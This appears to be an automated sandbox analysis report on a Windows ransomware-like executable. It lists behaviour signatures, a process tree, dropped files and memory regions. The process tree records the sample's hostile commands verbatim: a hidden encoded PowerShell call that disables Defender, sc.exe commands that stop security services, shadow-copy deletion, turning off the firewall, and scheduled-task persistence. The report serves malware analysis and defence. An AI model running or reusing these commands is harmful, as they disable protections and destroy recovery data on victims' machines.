Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/06/2026, 12:11

General

  • Target
    ridgewoodguildfilmfest.com_hyber.exe
  • Size 49KB
  • Sample260630-pcn9jsev21
  • SHA256 492a9f20d2c242483cbe8c7d6053525873c87c423ad42d6b7f29678f6fd86a47
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ridgewoodguildfilmfest.com_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\ridgewoodguildfilmfest.com_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5760
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1780
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4320
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4780
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2760
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2660
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5440
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2912
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5764
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4908
      • C:\Users\Admin\AppData\Local\Temp\ridgewoodguildfilmfest.com_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\ridgewoodguildfilmfest.com_hyber.exe"
        3⤵
          PID:1516
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:3968
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\ridgewoodguildfilmfest.com_hyber.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5484
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:5060
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5056
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:5260
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:1912
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5456
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:4192
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1028
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:2740
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2884
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
                PID:4188
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4544
              • C:\Windows\system32\net.exe
                net user
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1104
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  4⤵
                    PID:4344
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2612
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /all
                  3⤵
                  • Gathers network information
                  PID:2408
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4656
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  PID:3272
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\ridgewoodguildfilmfest.com_hyber.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3552
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                  PID:772
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:2316
                • C:\Windows\System32\wbem\WMIC.exe
                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:248
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:704
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:5316
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:2400
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:4940
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:3420
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa3a0a055 /state1:0x41c64e6d
                  1⤵
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  • Checks processor information in registry
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:2140
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k CameraMonitor
                  1⤵
                    PID:5896
                  • C:\Users\Admin\AppData\Local\Temp\ridgewoodguildfilmfest.com_hyber.exe
                    C:\Users\Admin\AppData\Local\Temp\ridgewoodguildfilmfest.com_hyber.exe
                    1⤵
                      PID:1912
                    • C:\Users\Admin\AppData\Local\Temp\ridgewoodguildfilmfest.com_hyber.exe
                      C:\Users\Admin\AppData\Local\Temp\ridgewoodguildfilmfest.com_hyber.exe
                      1⤵
                        PID:3872
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                          PID:4772

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              invoice_1.pdf

                              • Path C:\ProgramData\invoice_1.pdf
                              • Size 66KB
                              • SHA256 f84fce34941409e071a664969b1da2e869c15c794de1e0d349a51fca736873e0
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              doc_3.pdf

                              • Path C:\SystemVolumeInformation\doc_3.pdf
                              • Size 66KB
                              • SHA256 b38b80f0e39b1cc4ebb4c90de6574f4e30f420fff0190f3eeb82087cb6fa06fb
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              createshortcut.vbs

                              • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                              • Size 257B
                              • SHA256 f7fe57432fb6b51e70fec0a335c709250fead7a3c98f075c09549e572fd8f3e1
                              • MD5 SHA1 SHA512 TLSH

                              del.bat

                              • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                              • Size 59B
                              • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                              • MD5 SHA1 SHA512 TLSH

                              makelnk.vbs

                              • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                              • Size 258B
                              • SHA256 59343a409fe53676765f925a2bb6973e3c3801d08724edf1058e40bf6ca191bb
                              • MD5 SHA1 SHA512 TLSH

                              memory/2140-2274-0x000002493EB30000-0x000002493EB52000-memory.dmp

                              memory/2140-2246-0x000002493EB30000-0x000002493EB52000-memory.dmp

                              memory/2996-9-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-3-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-6-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-10-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-1-0x00000000000F0000-0x0000000000102000-memory.dmp

                              memory/2996-8-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-2257-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-7-0x000000001DD40000-0x000000001E268000-memory.dmp

                              memory/2996-2256-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-5-0x000000001D490000-0x000000001D652000-memory.dmp

                              memory/2996-2255-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-4-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-2254-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-0-0x00007FFB9525F000-0x00007FFB95260000-memory.dmp

                              memory/2996-2-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-2247-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-2250-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-2251-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-2249-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-2252-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/2996-2253-0x00007FFB950D0000-0x00007FFB95A74000-memory.dmp

                              memory/5060-2239-0x000001FF37B10000-0x000001FF37B11000-memory.dmp

                              memory/5760-2231-0x0000022F94E00000-0x0000022F94E0A000-memory.dmp

                              memory/5760-2022-0x0000022FAD5C0000-0x0000022FAD5DE000-memory.dmp

                              memory/5760-2051-0x0000022FAD5E0000-0x0000022FAD692000-memory.dmp

                              memory/5760-17-0x0000022F94DB0000-0x0000022F94DD2000-memory.dmp